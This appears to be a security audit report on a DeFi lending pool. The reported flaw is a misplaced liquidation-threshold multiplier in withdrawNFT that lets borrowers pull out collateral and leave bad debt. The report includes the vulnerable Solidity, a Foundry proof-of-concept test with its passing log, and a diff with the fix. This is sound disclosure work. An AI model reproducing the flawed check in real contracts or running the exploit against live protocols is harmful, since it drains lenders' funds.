Description
One crucial check in LendingPool::withdrawNFT is to check if the balance after withdrawing an NFT is sufficient to back the loaned assets, however the multiplier is applied on the wrong side of the equation, resulting in users being able to withdraw NFTs which they should not, leaving the vault with bad debt.
Vulnerable Code & Details
LendingPool::withdrawNFT:
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
ReserveLibrary.updateReserveState(reserve, rateData);
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
@> if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}
Looking at the Highlighted Line consider the following Scenario:
Bob has 6 NFTs
Bobs 6 NFTs are worth 5 crvUSD each, so he owns NFTs worth 30 crvUSD together.
Bob deposits these 6 NFTs into the Lending Pool and borrows 24 crvUSD which should be the maximum considering a LTV of 80%.
Now bob decided to withdraw NFT ID 1 and NFT ID 6 with a value of 10 crvUSD together, since this would leave Bob with 2 NFTs worth 10 crvUSD together + his borrowed amount of 24 crvUSD therefor a total value of 34 crvUSD. Obviously this should not be possible since this would leave Bob with a health factor way below 1e18, but due to multiplying the wrong side of the equation it is.
PoC
Since the PoC is a foundry test I have added a Makefile at the end of this report to simplify installation for your convenience. Otherwise if console commands would be prefered:
First run: npm install --save-dev @nomicfoundation/hardhat-foundry
Second add: require("@nomicfoundation/hardhat-foundry"); on top of the Hardhat.Config file in the projects root directory.
Third run: npx hardhat init-foundry
And lastly, you will encounter one of the mock contracts throwing an error during compilation, this error can be circumvented by commenting out the code in entirety (ReserveLibraryMocks.sol).
And the test should be good to go:
After following above steps copy & paste the following code into ./test/invariant/PoC.t.sol and run forge test --mt test_withdrawNftCanLeaveProtocolWithBadDebt -vv
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {CrvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACHousePrices} from "../../contracts/core/oracles/RAACHousePriceOracle.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract PoC is Test {
StabilityPool public stabilityPool;
LendingPool public lendingPool;
CrvUSDToken public crvusd;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
RAACToken public raacToken;
RAACMinter public raacMinter;
address owner;
address oracle;
address user1;
address user2;
address user3;
uint256 constant STARTING_TIME = 1641070800;
uint256 public currentBlockTimestamp;
uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
function setUp() public {
vm.warp(STARTING_TIME);
currentBlockTimestamp = block.timestamp;
owner = address(this);
oracle = makeAddr("oracle");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
uint256 initialPrimeRate = 0.1e27;
raacHousePrices = new RAACHousePrices(owner);
vm.prank(owner);
raacHousePrices.setOracle(oracle);
crvusd = new CrvUSDToken(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
vm.prank(owner);
crvusd.setMinter(owner);
vm.prank(owner);
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool = new StabilityPool(address(owner));
deToken.setStabilityPool(address(stabilityPool));
raacToken = new RAACToken(owner, 0, 0);
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
stabilityPool.initialize(address(rToken), address(deToken), address(raacToken), address(raacMinter), address(crvusd), address(lendingPool));
vm.prank(owner);
raacToken.setMinter(address(raacMinter));
crvusd.mint(address(attacker), type(uint128).max);
crvusd.mint(user1, type(uint128).max);
crvusd.mint(user2, type(uint128).max);
crvusd.mint(user3, type(uint128).max);
}
function test_withdrawNftCanLeaveProtocolWithBadDebt() public {
vm.startPrank(user3);
crvusd.approve(address(lendingPool), 100e18);
lendingPool.deposit(100e18);
vm.stopPrank();
for(uint256 i = 1; i <= 6; i++) {
vm.startPrank(oracle);
raacHousePrices.setHousePrice(i, 5e18);
vm.stopPrank();
vm.startPrank(user1);
crvusd.approve(address(raacNFT), type(uint256).max);
raacNFT.mint(i, 5e18);
raacNFT.approve(address(lendingPool), i);
lendingPool.depositNFT(i);
vm.stopPrank();
}
vm.startPrank(user1);
lendingPool.borrow(24e18);
lendingPool.withdrawNFT(1);
lendingPool.withdrawNFT(6);
uint256 healthFactor = lendingPool.calculateHealthFactor(user1);
assert(healthFactor < 1e18);
console.log("Users Helth Factor:", healthFactor);
lendingPool.initiateLiquidation(user1);
vm.stopPrank();
}
Running above PoC produces the following log:
Ran 1 test for test/invariant/PoC.t.sol:PoC
[PASS] test_withdrawNftCanLeaveProtocolWithBadDebt() (gas: 2016930)
Logs:
Users Helth Factor: 666666666666666666
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.37ms (10.00ms CPU time)
Ran 1 test suite in 28.81ms (23.37ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Clearly highlighting the attack path is executable and leaving the Protocol on financial loss.
Impact
As described above, this vulnerability is a free money exploit for users, being able to withdraw a vast amount of their collateral against the assumption, that a user always has to be overcollateralized, is directly affecting the solvency of the protocol, since the liquidation of Bob in above scenario is not profitable anymore. Therefor I rate it High, it is easy to to and the impact definitely high
Tools Used
Manual Review & Foundry
Recommended Mitigation
Change the multiplicator on the left side of the equation like:
function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
ReserveLibrary.updateReserveState(reserve, rateData);
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}
Appendix
Copy the following import into your Hardhat.Config file in the projects root dir:
require("@nomicfoundation/hardhat-foundry");
Paste the following into a new file "Makefile" into the projects root directory:
.PHONY: install-foundry init-foundry all
install-foundry:
npm install --save-dev @nomicfoundation/hardhat-foundry
init-foundry: install-foundry
npx hardhat init-foundry
# Default target that runs everything in sequence
all: install-foundry init-foundry
And run make all
